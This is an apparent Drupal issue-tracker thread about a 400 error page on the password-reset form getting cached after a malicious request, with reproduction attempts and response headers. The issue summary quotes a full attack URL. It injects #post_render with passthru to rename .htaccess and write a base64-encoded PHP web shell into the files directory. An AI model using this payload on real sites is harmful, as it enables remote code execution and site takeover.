"A client error happened" on Forget password due to malicious request attempt to a Drupal-based website and response is getting cached.

Created on 12 June 2024, 17 days ago
Updated 24 June 2024, 5 days ago

The error occurs when the cache is rebuilt and just after that the attempt to make the malicious request attempt to a Drupal-based website on the user/password page

The error is coming at the place of content of the page keeping header and footer.

The error can be replicated by hitting the following URL in the Browser:

https://example.com/user/password?name[%23post_render][0]=passthru&name%5B%23markup%5D=mv+-f+sites%2Fdefault%2Ffiles%2F.htaccess+sites%2Fdefault%2Ffiles%2F.hatccess%3Becho+PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFW2RdKT09IjE3MDI4ZjQ4N2NiMmE4NDYwNzY0NmRhM2FkMzg3OGVjIil7ZWNobyJvayI7ZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFtpZF0pKTtpZigkX1BPU1RbInVwIl09PSJ1cCIpe0Bjb3B5KCRfRklMRVNbImZpbGUiXVsidG1wX25hbWUiXSwkX0ZJTEVTWyJmaWxlIl1bIm5hbWUiXSk7fX0%2FPg%3D%3D%7Cbase64+--decode%7Ctee+sites%2Fdefault%2Ffiles%2F99a51f380ecf.php

Steps To reproduce the issue:

**Drupal versions- 10.1.8, 10.2.2, 10.2.6, 10.2.7, PHP versions - 8.1, 8.2, 8.3**

1. Clear Site Cache.
2. Hit malicious URL with a query parameter, like ( URL: https://example.com/user/password?name[%23post_render][0]=passthru)
3. Getting Response 400 (A client error happened)
4. After that refresh the page or Hit the Right URL in another tab, like ( URL: https://example.com/user/password )
5. Getting response 400 (even after hitting the right URL)

This error can be resolved by clearing the cache or using any query parameter in the URL.

This issue is occurring only on sites that don't have any CDN.

Error coming in the log is

Symfony\Component\HttpKernel\Exception\BadRequestHttpException: Input value "name" contains a non-scalar value. in Symfony\Component\HttpKernel\HttpKernel->handle() (line 83 of /var/www/html/vendor/symfony/http-kernel/HttpKernel.php).
🐛 Bug report
Status

Postponed: needs info

Version

10.2

Component
User system 

Last updated about 14 hours ago

Created by

🇮🇳India mahakjain

Live updates comments and jobs are added and updated live.
Sign in to follow issues

Comments & Activities

  • Issue created by @mahakjain
  • Status changed to Postponed: needs info 17 days ago
  • 🇺🇸United States cilefen

    What is the error? Add that information to the issue summary.

  • Issue was unassigned.
  • 🇺🇸United States cilefen

    Can you confirm the Drupal response is a 4xx HTTP error type? The network tab of the browser dev tools will show you that. If is is a 4xx type, Drupal is working properly here.

  • 🇺🇸United States cilefen

    "A client error happened" seems to accompany 4xx responses, which should not be cached. I am trying to reproduce this from a new Drupal install.

  • 🇺🇸United States cilefen

    I am able to reproduce the client error, which is expected as this is a 400 error. All that is required is to set /user/password?name[foo][0]=foobar.

    I did the following:

    1. Built a Drupal 10.3.0-RC1 site on http://simplytest.me
    2. Browsed to /user/password?name[foo][0]=foobar.
    3. I noted the "A client error happened" error, and checked that it is a 400 HTTP response.
    4. Browsed to Browsed to /user/password, which works normally. So the response is not cached in a new Drupal installation.

    There must be more steps to reproduce, or I misunderstand the bug report. Please list the exact steps to set up a Drupal site with this behavior, and put those in the issue summary.

  • Status changed to Active 16 days ago
  • 🇮🇳India Sourav_Paul Kolkata

    @cilefen I've checked that issue & successfully reproduced it in various Drupal versions - 10.1.8, 10.2.2, 10.2.6, 10.2.7.

    Attaching SS for reference:

    1. Hitting first time with malicious URL (after clearing the site cache)

    2. hitting the right URL in second time (without clearing the cache)

    Getting this warning on dblog (after hitting malicious URL for the first time)

    I've noticed that not getting this warning in dblog for second time (even after hitting malicious URL so many times)

    I've also checked some headers, where X-Drupal-Cache: HIT & Cache-Control: must-revalidate, no-cache, private .

    Attaching SS of headers:

    It seems like a caching issue...

  • 🇺🇸United States cilefen

    I still can't reproduce this. /user/password is a 200 response, always. I've tested on two disparate platforms, including a new install. Both sites have the "Internal Page Cache" module enabled.

    I am most interested to see the response headers for the first error page. You didn't show those.

  • 🇮🇳India Sourav_Paul Kolkata

    @cilefen, Again I've tested it on fresh D10.2.2 with PHP 8.3

    After clearing the cache, I hit the malicious URL, Sharing headers with dblog for the first error page...

    headers SS:

    dblog SS:

  • Status changed to Postponed: needs info 15 days ago
  • 🇺🇸United States cilefen

    Are there a lot of debugging options enabled? Those headers are not from a default install. What is the nginx configuration? The headers indicate this should not be cached.

  • 🇺🇸United States KarlShea Minneapolis, 🇺🇸

    I got this on a site behind Fastly with the fastly module enabled if that might help, and clearing the caches fixed it.

    I won't be able to really try and reproduce the issue for a couple of days but when I'm back if I find anything else I'll update the issue.

  • 🇺🇸United States KarlShea Minneapolis, 🇺🇸

    I was able to reproduce behind Fastly, response is a 400 both from Fastly and hitting the app server directly.

    Here's the maybe interesting part: /user/password?name[foo][0]=foobar does not trigger the page getting cached, but /user/password?name[%23post_render][0]=passthru does. Maybe because ?name[foo][0]=foobar doesn't redirect? The latter redirects back to the page without any query parameters so I wonder if the redirect is triggering the cache.

    Response headers from Fastly when cached:

    Accept-Ranges: bytes
    Alt-Svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
    Cache-Control: no-store, no-cache, must-revalidate, max-age=0
    Content-Language: en
    Content-Type: text/html; charset=UTF-8
    Date: Mon, 24 Jun 2024 18:40:41 GMT
    Expires: Sun, 19 Nov 1978 05:00:00 GMT
    Strict-Transport-Security: max-age=300
    X-Cache: MISS, MISS
    X-Cache-Hits: 0, 0
    X-Content-Type-Options: nosniff
    X-Drupal-Dynamic-Cache: HIT
    X-Frame-Options: SAMEORIGIN
    X-Served-By: cache-dfw-kdfw8210044-DFW, cache-chi-klot8100063-CHI
    X-Timer: S1719254442.751705,VS0,VE95
    

    Response headers directly from app server:

    Cache-Control: must-revalidate, no-cache, private
    Connection: keep-alive
    Content-Language: en
    Content-Type: text/html; charset=UTF-8
    Date: Mon, 24 Jun 2024 18:40:19 GMT
    Expires: Sun, 19 Nov 1978 05:00:00 GMT
    Fastly-Drupal-Html: YES
    Server: nginx
    Surrogate-Control: no-store, content="BigPipe/1.0"
    Surrogate-Key: eNqK igJ3 2tce mWTg juT3 F8oS PGx9 3F+3 grmK ojvY axoF eNI2 bpNa XtKW C6oq +QS4 pCAc
    Transfer-Encoding: chunked
    X-Content-Type-Options: nosniff
    X-Drupal-Dynamic-Cache: HIT
    X-Frame-Options: SAMEORIGIN
    X-Generator: Drupal 10 (https://www.drupal.org)
    
  • 🇺🇸United States KarlShea Minneapolis, 🇺🇸

    /user/password?name[foo][0]=foobar

    First request after cache clear:

    HTTP/2 301
    retry-after: 0
    cache-control: max-age=86400
    location: https://xxxx/user/password?name[foo][0]=foobar
    accept-ranges: bytes
    date: Mon, 24 Jun 2024 19:07:31 GMT
    x-served-by: cache-chi-klot8100127-CHI
    x-cache: HIT
    x-cache-hits: 0
    x-timer: S1719256052.788341,VS0,VE0
    strict-transport-security: max-age=300
    content-length: 0
    
    HTTP/2 400
    content-type: text/html; charset=UTF-8
    x-drupal-dynamic-cache: UNCACHEABLE
    content-language: en
    x-content-type-options: nosniff
    x-frame-options: SAMEORIGIN
    expires: Sun, 19 Nov 1978 05:00:00 GMT
    accept-ranges: bytes
    date: Mon, 24 Jun 2024 19:07:32 GMT
    x-served-by: cache-dfw-kdfw8210068-DFW, cache-chi-klot8100138-CHI
    x-cache: MISS, MISS
    x-cache-hits: 0, 0
    x-timer: S1719256052.863280,VS0,VE366
    cache-control: no-store, no-cache, must-revalidate, max-age=0
    strict-transport-security: max-age=300
    alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
    

    (This is not cached, hitting /user/password works fine)

    /user/password?name[%23post_render][0]=passthru

    First request after cache clear:

    HTTP/2 301
    content-type: text/html; charset=utf-8
    location: https://xxxx/user/password
    x-drupal-route-normalizer: 1
    content-language: en
    x-content-type-options: nosniff
    x-frame-options: SAMEORIGIN
    accept-ranges: bytes
    age: 0
    date: Mon, 24 Jun 2024 19:11:16 GMT
    x-served-by: cache-dfw-kdfw8210117-DFW, cache-chi-klot8100046-CHI
    x-cache: MISS, MISS
    x-cache-hits: 0, 0
    x-timer: S1719256276.102347,VS0,VE88
    cache-control: no-store, no-cache, must-revalidate, max-age=0
    strict-transport-security: max-age=300
    alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
    content-length: 386
    
    HTTP/2 400
    content-type: text/html; charset=UTF-8
    x-drupal-dynamic-cache: UNCACHEABLE
    content-language: en
    x-content-type-options: nosniff
    x-frame-options: SAMEORIGIN
    expires: Sun, 19 Nov 1978 05:00:00 GMT
    accept-ranges: bytes
    date: Mon, 24 Jun 2024 19:11:16 GMT
    x-served-by: cache-dfw-kdfw8210044-DFW, cache-chi-klot8100046-CHI
    x-cache: MISS, MISS
    x-cache-hits: 0, 0
    x-timer: S1719256276.201582,VS0,VE385
    cache-control: no-store, no-cache, must-revalidate, max-age=0
    strict-transport-security: max-age=300
    alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
    

    Request to /user/password afterwards:

    HTTP/2 400
    content-type: text/html; charset=UTF-8
    x-drupal-dynamic-cache: HIT
    content-language: en
    x-content-type-options: nosniff
    x-frame-options: SAMEORIGIN
    expires: Sun, 19 Nov 1978 05:00:00 GMT
    accept-ranges: bytes
    date: Mon, 24 Jun 2024 19:12:33 GMT
    x-served-by: cache-dfw-kdfw8210044-DFW, cache-chi-klot8100170-CHI
    x-cache: MISS, MISS
    x-cache-hits: 0, 0
    x-timer: S1719256353.239181,VS0,VE129
    cache-control: no-store, no-cache, must-revalidate, max-age=0
    strict-transport-security: max-age=300
    alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
    

    Notice the Location header differences, that might be why one is getting cached.

Production build 0.69.0 2024